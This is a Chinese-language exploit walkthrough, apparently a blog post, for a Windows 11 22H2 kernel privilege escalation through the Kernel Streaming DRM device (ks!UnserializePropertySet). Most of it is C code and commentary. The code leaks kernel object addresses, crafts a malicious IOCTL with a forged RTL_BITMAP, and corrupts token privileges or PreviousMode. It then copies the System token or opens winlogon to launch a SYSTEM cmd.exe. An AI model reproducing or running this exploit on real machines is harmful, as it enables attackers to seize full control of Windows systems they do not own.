#pragma comment(lib, "ntdllp.lib") // NT内核库
#pragma comment(lib, "SetupAPI.lib") // 设备枚举API
#pragma comment(lib, "Advapi32.lib") // 高级API

设备获取和地址泄露

1
2
// 1. 获取DRM设备句柄
hDevice = GetKsDevice(KSCATEGORY_DRM_DESCRAMBLE);

该函数通过KSCATEGORY_DRM_DESCRAMBLE GUID获取DRM解扰设备的句柄。这是利用Kernel Streaming漏洞的入口点。

地址泄露阶段(仅_PREVIOUS_MODE模式):

1
2
3
4
5
6
7
8
9
10
11
12
13
// 2. 泄露System进程EPROCESS地址
Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4); // PID 4是System进程
printf("[+] System EPROCESS address: %llx\n", Sysproc);

// 3. 泄露当前线程KTHREAD地址
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
printf("[+] Current KTHREAD address: %llx\n", Curthread);

// 4. 泄露当前进程EPROCESS地址
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
printf("[+] Current EPROCESS address: %llx\n", Curproc);

构造恶意IOCTL请求

输入缓冲区初始化:

1
2
3
pInBufProperty->Set = KSPROPSETID_DrmAudioStream;    // 属性集GUID
pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET; // 关键:触发UnserializePropertySet
pInBufProperty->Id = 0x0;

输出缓冲区初始化:

1
2
3
4
5
6
7
8
pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream;
pSerialHdr->Count = 0x1; // 属性数量

pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
pSerial->Id = 0x0;
pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream;
pSerial->PropTypeSet.Flags = 0x0;
pSerial->PropTypeSet.Id = 0x45;

构造伪造的RTL_BITMAP结构

获取ntoskrnl.exe基址:

1
2
UINT_PTR ntoskrnlBase = GetKernelModuleAddress("ntoskrnl.exe");
printf("[+] ntoskrnl.exe base address = %llx\n", ntoskrnlBase);

根据利用模式构造不同的FakeBitmap:

模式1 - TOKEN权限修改:

1
2
3
4
5
#ifdef _SEP_TOKEN_PRIVILEGES
pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4; // 覆盖32字节
pOutBufPropertyData->FakeBitmap->Buffer = Ptr64(ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621);
pInBufPropertyData->ptr_ArbitraryFunCall = Ptr64(leak_gadget_address("RtlSetAllBits"));
#endif

模式2 - PreviousMode绕过:

1
2
3
4
5
#elif defined _PREVIOUS_MODE
pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20; // 覆盖32字节
pOutBufPropertyData->FakeBitmap->Buffer = Ptr64(Curthread + PREV_MODE_WIN_11_22H2_22621);
pInBufPropertyData->ptr_ArbitraryFunCall = Ptr64(leak_gadget_address("RtlClearAllBits"));
#endif

触发漏洞

1
res = SendIoctlReq(hDevice);

此函数发送构造的IOCTL请求到KS设备,触发ks!UnserializePropertySet中的漏洞代码路径

提权利用

模式1 - TOKEN权限提权:

1
2
3
4
5
6
#ifdef _SEP_TOKEN_PRIVILEGES
// 打开winlogon.exe进程(拥有SYSTEM权限)
HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"winlogon.exe"));
// 从高权限进程创建新进程
CreateProcessFromHandle(hWinLogon, (LPSTR)"cmd.exe");
#endif

模式2 - DKOM(Direct Kernel Object Manipulation)提权:

1
2
3
4
5
6
7
8
9
10
11
12
13
#elif defined _PREVIOUS_MODE
// 复制System进程的Token到当前进程
Write64(Ptr64(Curproc + EPROCESS_TOKEN_WIN_11_22H2_22621),
Ptr64(Sysproc + EPROCESS_TOKEN_WIN_11_22H2_22621),
TOKEN_SIZE);

// 恢复PreviousMode以避免BSOD
KPROCESSOR_MODE mode = UserMode;
Write64(Ptr64(Curthread + PREV_MODE_WIN_11_22H2_22621), &mode, sizeof(mode));

// 启动SYSTEM权限的cmd.exe
system("cmd.exe");
#endif